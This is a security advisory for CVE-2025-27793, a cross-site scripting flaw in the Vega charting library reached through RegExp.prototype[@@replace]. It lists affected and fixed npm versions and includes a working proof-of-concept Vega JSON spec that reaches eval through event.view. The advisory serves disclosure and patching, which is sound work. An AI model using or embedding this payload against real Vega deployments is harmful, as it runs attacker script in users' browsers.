Advisory

GHSA-963h-3v39-3pqf

Also known as: CVE-2025-27793

Summary

Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]

Details

Impact

Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.

Workarounds

POC Summary

Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.

POC Details

Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.

The resulting malicious call looks like this:

replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})

Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.

Reproduction steps

{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2025-03-27 18:00 UTC
Modified
2025-03-27 18:08 UTC

Affected packages and fixes

vega

npm · All systems

Affected

  • introduced 0, fixed 5.32.0 (semver)

Fixed versions

5.32.0

Fix

vega-functions

npm · All systems

Affected

  • introduced 0, fixed 5.17.0 (semver)

Fixed versions

5.17.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences